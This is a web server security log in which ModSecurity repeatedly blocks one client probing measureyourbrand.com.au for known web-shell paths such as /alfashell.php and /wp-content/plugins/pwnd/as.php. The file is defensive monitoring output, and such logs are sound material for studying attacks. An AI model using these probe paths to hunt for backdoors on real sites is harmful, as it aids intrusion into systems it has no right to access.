[Thu Apr 09 18:36:13.072067 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64022] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adeBHcDe826HlFeoLPJ61gAAAU0"]
[Thu Apr 09 18:36:13.597728 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:62692] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adeBHa1OMnvM2fMnB1N8rAAAAAU"]
[Thu Apr 09 18:36:14.185890 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:62118] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adeBHjXObuzEuw8mNJv1IgAAAQU"]
[Thu Apr 09 18:36:14.712771 2026] [:error] [pid 20837:tid 20845] [client 20.215.65.153:62706] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adeBHvSL71FHZkjrGzPLmgAAAYY"]
[Thu Apr 09 18:36:15.229387 2026] [:error] [pid 20837:tid 20863] [client 20.215.65.153:64027] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adeBH_SL71FHZkjrGzPLnAAAAZg"]
[Thu Apr 09 18:36:15.774773 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:63275] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adeBH_SL71FHZkjrGzPLnQAAAYE"]
[Thu Apr 09 18:36:16.317191 2026] [:error] [pid 18477:tid 18502] [client 20.215.65.153:63276] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adeBIMDe826HlFeoLPJ63gAAAVc"]
[Thu Apr 09 18:36:16.896822 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:62677] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adeBIDXObuzEuw8mNJv1LgAAAQI"]
[Thu Apr 09 18:36:17.504769 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:65144] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adeBITXObuzEuw8mNJv1MAAAARc"]
[Thu Apr 09 18:36:18.037377 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:63264] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adeBIu4Jn-WvK1ZBTvi4nQAAAMI"]
[Thu Apr 09 18:36:18.599491 2026] [:error] [pid 20837:tid 20855] [client 20.215.65.153:64021] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adeBIvSL71FHZkjrGzPLngAAAZA"]
[Thu Apr 09 18:36:19.168327 2026] [:error] [pid 20837:tid 20843] [client 20.215.65.153:65096] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adeBI_SL71FHZkjrGzPLoAAAAYQ"]
[Thu Apr 09 18:36:19.725055 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:63937] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adeBI8De826HlFeoLPJ65QAAAUk"]
[Thu Apr 09 18:36:20.277561 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:63989] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adeBJK1OMnvM2fMnB1N8tgAAAAM"]
[Thu Apr 09 18:36:20.827346 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:64627] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adeBJMDe826HlFeoLPJ66QAAAUQ"]
[Thu Apr 09 18:36:21.339728 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:63272] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adeBJa1OMnvM2fMnB1N8ugAAAAU"]
[Thu Apr 09 18:36:21.889305 2026] [:error] [pid 24927:tid 24939] [client 20.215.65.153:64045] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adeBJTXObuzEuw8mNJv1PAAAAQk"]
[Thu Apr 09 18:36:22.431988 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:62656] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adeBJsDe826HlFeoLPJ67AAAAUs"]
[Thu Apr 09 18:36:22.968713 2026] [:error] [pid 20837:tid 20861] [client 20.215.65.153:64044] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adeBJvSL71FHZkjrGzPLpAAAAZY"]
[Thu Apr 09 18:36:23.573187 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:65149] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adeBJzXObuzEuw8mNJv1QgAAAQ8"]
[Thu Apr 09 18:36:24.131925 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:64634] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adeBKDXObuzEuw8mNJv1RQAAAQs"]
[Thu Apr 09 18:36:24.662102 2026] [:error] [pid 18477:tid 18503] [client 20.215.65.153:65099] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adeBKMDe826HlFeoLPJ69AAAAVg"]
[Thu Apr 09 18:36:25.242899 2026] [:error] [pid 24624:tid 24650] [client 20.215.65.153:62601] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adeBKe4Jn-WvK1ZBTvi4ogAAANg"]
[Thu Apr 09 18:36:25.783909 2026] [:error] [pid 20837:tid 20859] [client 20.215.65.153:63235] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adeBKfSL71FHZkjrGzPLpgAAAZQ"]
[Thu Apr 09 18:36:26.326467 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:62660] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adeBKjXObuzEuw8mNJv1TQAAARc"]
[Thu Apr 09 18:36:26.858156 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:64063] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adeBKjXObuzEuw8mNJv1UQAAAQU"]
[Thu Apr 09 18:36:27.378322 2026] [:error] [pid 24927:tid 24948] [client 20.215.65.153:64624] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adeBKzXObuzEuw8mNJv1VAAAARI"]
[Thu Apr 09 18:36:27.902874 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:64662] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adeBKzXObuzEuw8mNJv1VwAAAQo"]
[Thu Apr 09 18:36:28.470337 2026] [:error] [pid 20837:tid 20860] [client 20.215.65.153:62175] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adeBLPSL71FHZkjrGzPLqwAAAZU"]
[Thu Apr 09 18:36:28.992057 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:62160] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adeBLDXObuzEuw8mNJv1WgAAARM"]
[Thu Apr 09 18:36:29.522393 2026] [:error] [pid 20837:tid 20844] [client 20.215.65.153:63973] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adeBLfSL71FHZkjrGzPLrQAAAYU"]
[Thu Apr 09 18:36:30.076182 2026] [:error] [pid 18477:tid 18481] [client 20.215.65.153:64007] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adeBLsDe826HlFeoLPJ7AQAAAUI"]
[Thu Apr 09 18:36:30.646453 2026] [:error] [pid 24624:tid 24637] [client 20.215.65.153:62125] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adeBLu4Jn-WvK1ZBTvi4qQAAAMs"]
[Thu Apr 09 18:36:31.186283 2026] [:error] [pid 24624:tid 24649] [client 20.215.65.153:64659] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adeBL-4Jn-WvK1ZBTvi4qgAAANc"]
[Thu Apr 09 18:36:31.717870 2026] [:error] [pid 24927:tid 24944] [client 20.215.65.153:62644] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adeBLzXObuzEuw8mNJv1aAAAAQ4"]
[Thu Apr 09 18:36:32.243271 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:63956] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adeBMK1OMnvM2fMnB1N8xAAAAAQ"]
[Thu Apr 09 18:36:32.767594 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:64670] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adeBMK1OMnvM2fMnB1N8xQAAABc"]
[Thu Apr 09 18:36:33.324445 2026] [:error] [pid 24515:tid 24527] [client 20.215.65.153:63263] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adeBMa1OMnvM2fMnB1N8yQAAAAg"]
[Thu Apr 09 18:36:33.860006 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63946] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adeBMcDe826HlFeoLPJ7BwAAAUU"]
[Thu Apr 09 18:36:34.403413 2026] [:error] [pid 24624:tid 24636] [client 20.215.65.153:60374] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adeBMu4Jn-WvK1ZBTvi4rAAAAMo"]
[Thu Apr 09 18:36:34.924752 2026] [:error] [pid 24516:tid 24565] [client 20.215.65.153:64641] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adeBMthW7vSS-UkeWCUfWQAAAFI"]
[Thu Apr 09 18:36:35.478634 2026] [:error] [pid 24927:tid 24944] [client 20.215.65.153:65150] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adeBMzXObuzEuw8mNJv1cgAAAQ4"]
[Thu Apr 09 18:36:36.020306 2026] [:error] [pid 24516:tid 24555] [client 20.215.65.153:62152] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adeBNNhW7vSS-UkeWCUfWgAAAEg"]
[Thu Apr 09 18:36:36.533228 2026] [:error] [pid 24624:tid 24629] [client 20.215.65.153:64702] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adeBNO4Jn-WvK1ZBTvi4rQAAAMM"]
[Thu Apr 09 18:36:37.089188 2026] [:error] [pid 24927:tid 24939] [client 20.215.65.153:65117] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adeBNTXObuzEuw8mNJv1eAAAAQk"]
[Thu Apr 09 18:36:37.603391 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:65200] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adeBNTXObuzEuw8mNJv1eQAAAQQ"]
[Thu Apr 09 18:36:38.127827 2026] [:error] [pid 24927:tid 24938] [client 20.215.65.153:64668] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adeBNjXObuzEuw8mNJv1egAAAQg"]
[Thu Apr 09 18:36:38.662651 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63232] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adeBNsDe826HlFeoLPJ7EAAAAUU"]
[Thu Apr 09 18:36:39.176257 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:62675] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adeBN8De826HlFeoLPJ7EQAAAU0"]
[Thu Apr 09 18:36:39.711181 2026] [:error] [pid 20837:tid 20854] [client 20.215.65.153:62634] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adeBN_SL71FHZkjrGzPLuAAAAY8"]
[Thu Apr 09 18:36:40.227504 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:64697] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adeBOO4Jn-WvK1ZBTvi4rwAAANY"]
[Thu Apr 09 18:36:40.743230 2026] [:error] [pid 18477:tid 18494] [client 20.215.65.153:63270] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adeBOMDe826HlFeoLPJ7FQAAAU8"]
[Thu Apr 09 18:36:41.302287 2026] [:error] [pid 18477:tid 18481] [client 20.215.65.153:64586] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adeBOcDe826HlFeoLPJ7GQAAAUI"]
[Thu Apr 09 18:36:41.845380 2026] [:error] [pid 24516:tid 24548] [client 20.215.65.153:63986] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adeBOdhW7vSS-UkeWCUfXAAAAEE"]
[Thu Apr 09 18:36:42.372849 2026] [:error] [pid 24515:tid 24520] [client 20.215.65.153:64033] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adeBOq1OMnvM2fMnB1N81gAAAAE"]
[Thu Apr 09 18:36:42.921420 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:63251] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adeBOsDe826HlFeoLPJ7HAAAAUE"]
